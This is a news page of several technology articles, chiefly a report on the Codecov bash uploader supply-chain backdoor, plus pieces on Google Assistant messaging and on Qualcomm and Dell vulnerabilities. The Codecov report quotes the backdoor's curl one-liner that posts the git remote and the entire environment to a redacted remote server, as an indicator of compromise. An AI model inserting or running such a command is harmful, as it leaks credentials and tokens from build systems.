Connect with us

Gadgets

Backdoored developer tool that stole credentials escaped notice for 3 months

Published

on

Getty Images

A publicly available software development tool contained malicious code that stole the authentication credentials that apps need to access sensitive resources. It’s the latest revelation of a supply chain attack that has the potential to backdoor the networks of countless organizations.

The Codecov bash uploader contained the backdoor from late January to the beginning of April, developers of the tool said on Thursday. The backdoor caused developer computers to send secret authentication tokens and other sensitive data to a remote site controlled by the hackers. The uploader works with development platforms including Github Actions, CircleCI, and Bitrise Step, all of which support having such secret authentication tokens in the development environment.

A pile of AWS and other cloud credentials

The Codecov bash uploader performs what is known as code coverage for large-scale software development projects. It allows developers to send coverage reports that, among other things, determine how much of a codebase has been tested by internal test scripts. Some development projects integrate Codecov and similar third-party services into their platforms, where there is free access to sensitive credentials that can be used to steal or modify source code.

Code similar to this single line first appeared on January 31:

curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” https:///upload/v2 || true

The code sends both the GitHub repository location and the entire process environment to the remote site, which has been redacted because Codecov says it’s part of an ongoing federal investigation. These types of environments typically store tokens, credentials, and other secrets for software in Amazon Web Services or GitHub.

Armed with these secrets, there’s no shortage of malicious things an attacker could do to development environments that relied on the tool, said HD Moore, a security expert and the CEO of network discovery platform Rumble.

“It really depends on what was in the environment, but from the point that attackers had access (via the bash uploader), they might have been able to plant backdoors on the systems where it ran,” he wrote in a direct message with Ars. “For GitHub/CircleCI, this would have mostly exposed source code and credentials.”

Moore continued:

The attackers likely ended up with a pile of AWS and other cloud credentials in addition to tokens that could give them access to private repositories, which includes source code, but also all the other stuff that the token was authorized for. On the extreme end, these credentials would be self-perpetuating—the attackers use a stolen GitHub token to backdoor the source code, which then steals downstream customer data, etc. The same could apply to AWS and other cloud credentials. If the credentials allowed for it, they could enable infrastructure takeover, database access, file access, etc.

In Thursday’s advisory, Codecov said the malicious version of the bash uploader could access:

  • Any credentials, tokens, or keys that our customers were passing through their CI runner that would be accessible when the bash uploader script was executed
  • Any services, datastores, and application code that could be accessed with these credentials, tokens, or keys
  • The git remote information (URL of the origin repository) of repositories using the bash uploaders to upload coverage to Codecov in CI

“Based upon the forensic investigation results to date, it appears that there was periodic unauthorized access to a Google Cloud Storage (GCS) key beginning January 31, 2021, which allowed a malicious third-party to alter a version of our bash uploader script to potentially export information subject to continuous integration (CI) to a third-party server,” Codecov said. “Codecov secured and remediated the script April 1, 2021.”

The Codecov advisory said that a bug in Codecov’s Docker image-creation process allowed the hacker to extract the credential required to modify the bash uploader script.

The tampering was discovered on April 1 by a customer who noticed that the shasum that acts as a digital fingerprint to confirm the integrity of bash uploader didn’t match the shasum for the version downloaded from https://codecov.io/bash. The customer contacted Codecov, and the tool maker pulled the malicious version and started an investigation.

Codecov is urging anyone who used the bash updater during the affected period to revoke all credentials, tokens, or keys located in CI processes and create new ones. Developers can determine what keys and tokens are stored in a CI environment by running the env command in the CI Pipeline. Anything sensitive should be considered compromised.

Additionally, anyone who uses a locally stored version of the bash uploader should check it for the following:

Curl -sm 0.5 -d “$(git remote -v)

If these commands appear anywhere in a locally stored bash uploader, users should immediately replace it with the most recent version from https://codecov.io.bash.

Codecov said that developers using a self-hosted version of bash update are unlikely to be affected. “To be impacted, your CI pipeline would need to be fetching the bash uploader from https://codecov.io/bash instead of from your self-hosted Codecov installation. You can verify from where you are fetching the bash uploader by looking at your CI pipeline configuration,” the company said.

The appeal of supply chain attacks

The compromise of Codecov’s software development and distribution system is the latest supply chain attack to come to light. In December, a similar compromise hit SolarWinds, the Austin, Texas maker of network management tools used by about 300,000 organizations around the world, including Fortune 500 companies and government agencies.

The hackers who carried out the breach then distributed a backdoored update that was downloaded by about 18,000 customers. About 10 US federal agencies and 100 private companies eventually received follow-on payloads that sent sensitive information to attacker-controlled servers. FireEye, Microsoft, Mimecast, and Malwarebytes were all swept up in the campaign.

More recently, hackers carried out a software supply chain attack that was used to install surveillance malware on the computers of people using NoxPlayer, a software package that emulates the Android operating system on PCs and Macs, mainly so users can play mobile games on those platforms. A backdoored version of NoxPlayer was available for five months, researchers from ESET said.

The appeal of supply chain attacks to hackers is their breadth and effectiveness. By compromising a single player high in the software supply, hackers can potentially infect any person or organization who uses the compromised product. Another feature that hackers find beneficial: there’s often little or nothing targets can do to detect malicious software distributed this way because digital signatures will indicate that it’s legitimate.

In the case of the backdoored bash update version, however, it would have been easy for Codecov or any of its customers to detect the malice by doing nothing more than checking the shasum. The ability for the malicious version to escape notice for three months indicates that no one bothered to perform this simple check.

People who have used the bash updater between January 31 and April 1 should carefully inspect their development builds for signs of compromise by following the steps outlined in Thursday’s advisory.

Continue Reading

Gadgets

The Google Assistant is now a Google messaging service

Published

on

The Google Assistant’s “Broadcast” feature has long existed as a way to blast a message to every Google smart speaker in the house. Instead of hunting down every individual family member at dinner time, put those smart speakers to work by saying, “Hey Google, broadcast, ‘It’s dinner time!'”

In a new blog post, Google called Broadcast “one of our most popular Assistant features” and announced that the feature is expanding to show messages on phones, too, even when they’re outside the home Wi-Fi network. That means Broadcast is basically turning into a new Google messaging service.

Broadcast will now be able to send and receive messages on the Google Home and Nest smart speakers, the Google Home Hub and Nest Hub smart displays, any Android phone, and iPhones running the Google Assistant app. Phones will get a notification when new messages arrive, and group chat members include both individual people (presumably with personal devices like a phone) and more public home devices. Just like any other messaging service, opening the notification will show a scrolling list of broadcast messages. The one big limitation is that the messaging only happens within a Google Family Group. If you want to include an outsider, you’ll have to awkwardly switch group messaging services.

Broadcast messaging uses audio by default, so speakers and smart displays will play the voice recording of your message. Phones and smart displays will show a transcription of your message and a play button, so you can listen or read if you want, and it looks like phones have the option of typing a response, too. Presumably, this would play back on speakers using text-to-speech.

One of many bespoke Google messaging services

Google has never been able to throw its full weight behind a single messaging service, and the constant launching and shutting down of competing messaging services has left the company without a competitive messaging platform to back. Several Google apps like the Google Assistant have aimed to include some smaller messaging functionality over the years, but without a clear Google service to plug into, they end up spinning up their own bespoke messaging services.

Besides this Google Assistant messaging service, YouTube Messaging existed from 2017-2019, Google Maps Messages (to message businesses) launched in 2018, Google Photos Messaging launched in 2019, Stadia Messaging was added in 2020, and Google Pay Messaging came out of beta with the app revamp in March 2021. And who could forget Google Docs Chat, which has existed seemingly forever, though awkwardly only on desktop clients. We can also give half-credit to Google News, which lets you send a message with a shared news article and will pop up a notification through the Google News app, although the feature doesn’t support replies. It would be nice if any of these services talked to each other through a single Google Messaging service, but instead, you’ll be managing individual contact lists and message histories.

This is one of a few new Google Assistant features that is supposed to arrive “just in time” for Mother’s Day (this Sunday—you all remembered, right?) so it should be rolling out soon.

Listing image by Google

Continue Reading

Gadgets

Fix for critical Qualcomm chip flaw is making its way to Android devices

Published

on

Getty Images

Makers of high-end Android devices are responding to the discovery of a Qualcomm chip flaw that researchers say could be exploited to partially backdoor about a third of the world’s smartphones.

The vulnerability, discovered by researchers from security firm Check Point Research, resides in Qualcomm’s Mobile Station Modem, a system of chips that provides capabilities for things like voice, SMS, and high-definition recording, mostly on higher-end devices made by Google, Samsung, LG, Xiaomi, and OnePlus. Phone-makers can customize the chips so they do additional things like handle SIM unlock requests. The chips run in 31 percent of the world’s smartphones, according to figures from Counterpoint Research.

The heap overflow the researchers found can be exploited by a malicious app installed on the phone, and from there the app can plant malicious code inside the MSM, Check Point researchers said in a blog post published Thursday. The nearly undetectable code might then be able to tap into some of a phone’s most vital functions.

“This means an attacker could have used this vulnerability to inject malicious code into the modem from Android, giving them access to the device user’s call history and SMS, as well as the ability to listen to the device user’s conversations,” the researchers wrote. “A hacker can also exploit the vulnerability to unlock the device’s SIM, thereby overcoming the limitations imposed by service providers on it.”

Fixes take time

Check Point spokesman Ekram Ahmed told me that Qualcomm has released a patch and disclosed the bug to all customers who use the chip. Because of the intricacies involved, it’s not yet clear which vulnerable Android devices are fixed and which ones aren’t.

“From our experience, the implementation of these fixes takes time, so some of the phones may still be prone to the threat,” he wrote in an email. “Accordingly, we decided not to share all the technical details, as it would give hackers a roadmap on how to orchestrate an exploitation.”

Qualcomm representatives weren’t available on Wednesday evening to answer questions.

The vulnerability is tracked as CVE-2020-11292. Check Point discovered it by using a process known as fuzzing, which exposed the chip system to unusual inputs in an attempt to find bugs in the firmware. Thursday’s research provides a deep dive into the inner workings of the chip system and the general outline they used to exploit the vulnerability.

The research is a reminder that phones and other modern-day computing devices are actually a collection of dozens if not hundreds of interconnected computing devices. While successfully infecting individual chips typically requires nation-state-level hacking resources, the feat would allow an attacker to run malware that couldn’t be detected without time and money.

“We believe this research to be a potential leap in the very popular area of mobile chip research,” Check Point researchers wrote. “Our hope is that our findings will pave the way for a much easier inspection of the modem code by security researchers, a task that is notoriously hard to do today.”

Continue Reading

Gadgets

Dell patches a 12-year-old privilege escalation vulnerability

Published

on

Enlarge / At least three companies have reported the dbutil_2_3.sys security problems to Dell over the past two years.

Yesterday, infosec research firm SentinelLabs revealed twelve year old flaws in Dell’s firmware updater, DBUtil 2.3. The vulnerable firmware updater has been installed by default on hundreds of millions of Dell systems since 2009.

The five high severity flaws SentinelLabs discovered and reported to Dell lurk in the dbutil_2_3.sys module, and have been rounded up under a single CVE tracking number, CVE-2021-21551. There are two memory corruption issues and two lack of input validation issues, all of which can lead to local privilege escalation, and a code logic issue which could lead to a denial of service.

A hypothetical attacker abusing these vulnerabilities can escalate the privileges of another process, or bypass security controls to write directly to system storage. This offers multiple routes to the ultimate goal of local kernel-level access—a step even higher than Administrator or “root” access—to the entire system.

This is not a remote code execution vulnerability—an attacker sitting across the world, or even across the coffee shop, cannot use it directly to compromise your system. The major risk is that an attacker who gets an unprivileged shell via some other vulnerability can use a local privilege escalation exploit like this one to bypass security controls.

Since SentinelLabs notified Dell in December 2020, the company has provided documentation of the flaws, and mitigation instructions which for now boil down to “remove the utility.” A replacement driver is also available, and should be automatically installed at the next firmware update check on affected Dell systems.

SentinelLabs’ Kasif Dekel was at least the fourth researcher to discover and report this issue, following CrowdStrike’s Satoshi Tanda and Yarden Shafir, and IOActive’s Enrique Nissim. It’s not clear why it took Dell two years and three separate infosec companies’ reports to patch the issue—but to paraphrase CrowdStrike’s Alex Ionescu above, what matters most is that Dell’s users will finally be protected.

Continue Reading

Trending